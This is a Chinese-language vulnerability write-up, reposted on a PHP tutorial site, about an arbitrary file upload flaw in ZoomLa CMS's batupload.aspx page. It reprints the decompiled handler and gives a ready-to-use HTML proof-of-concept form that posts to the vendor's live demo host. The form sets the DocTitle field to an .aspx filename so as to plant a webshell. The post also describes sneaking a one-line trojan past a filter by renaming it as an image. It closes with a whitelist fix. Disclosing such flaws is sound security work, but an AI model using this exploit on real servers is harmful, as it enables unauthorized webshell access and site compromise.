网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

逐浪CMS任意文件类型上传获取webshell - 网站安全

来源:自学PHP网    时间:2015-04-15 14:59 作者: 阅读:

[导读] 没有对上传文件类型进行判断,可直接上传动态脚本获取webshell从官网下载cms代码 在源码目录下的edit目录下batupload aspx文件通过反编译看到源码如下protected void Page_Load(object sender, EventA...

没有对上传文件类型进行判断,可直接上传动态脚本获取webshell
 
从官网下载cms代码 在源码目录下的edit目录下batupload.aspx文件
 
通过反编译看到源码如下
 
protected void Page_Load(object sender, EventArgs e)

{

    if (!string.IsNullOrEmpty(base.Request.QueryString["case"]))

    {

        string str = base.Server.UrlDecode(base.Request.QueryString["case"]);

        if (!Directory.Exists(base.Server.MapPath("~/UploadFiles/DocTemp/" + str)))

        {

            Directory.CreateDirectory(base.Server.MapPath("~/uploadFiles/DocTemp/" + str));

        }

        string str2 = base.Server.MapPath("~/uploadFiles/DocTemp/" + str + "/");

        base.Response.Clear();

        string str3 = base.Request.Params["ID"];

        string str4 = "test";

        if (!string.IsNullOrEmpty(str3))

        {

            str4 = base.Server.UrlDecode(base.Request.Params["DocTitle"]);

        }

        string str5 = base.Request.Params["DocType"];

        str4 = base.Server.UrlDecode(base.Request.Params["DocTitle"]);

        base.Server.UrlDecode(base.Request.Params["content"]);

        if (str5 == "")

        {

            str5 = "doc";

        }

        str5 = str5.Substring(0, 3);

        if (base.Request.Files.Count > 0)

        {

            HttpPostedFile file = base.Request.Files[0];

            int contentLength = file.ContentLength;

            byte[] buffer = new byte[contentLength];

            file.InputStream.Read(buffer, 0, contentLength);

            if (!File.Exists(str2 + str4))

            {

                using (File.Create(str2 + str4))

                {

                }

            }

            File.WriteAllBytes(str2 + str4, buffer);

        }

        base.Response.ContentType = "text/plain";

        base.Response.Write("Complete");

        base.Response.Flush();

        base.Response.End();

    }

}

 

 
 
DocTitle参数可控制最后上传的文件名,case为设置上传到/uploadFiles/DocTemp/下的目录,随便设置DocType的值长度大于防止程序出错,就可构造任意文件上传了
上传poc
 
<html>

<head><title>xss</title></head>

<form action="http://demo.zoomla.cn/Edit/batupload.aspx?case=2" method="post" enctype="multipart/form-data">

<input type="file" name="file" />

<input type="hidden" name="DocTitle" value="111111.aspx" />

<input type="hidden" name="DocType" value="12345" />

<input type="submit" />

</form>

</html>

 

 
 
如图 仅仅测试而已 不知道为啥传aspx格式的文件不行,把一句话木马的文件改成图片格式就可以了 不知道服务器上有什么东西拦截了
 
QQ截图20140102214227.png
修复方案:
对上传文件的类型进行白名单过滤

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论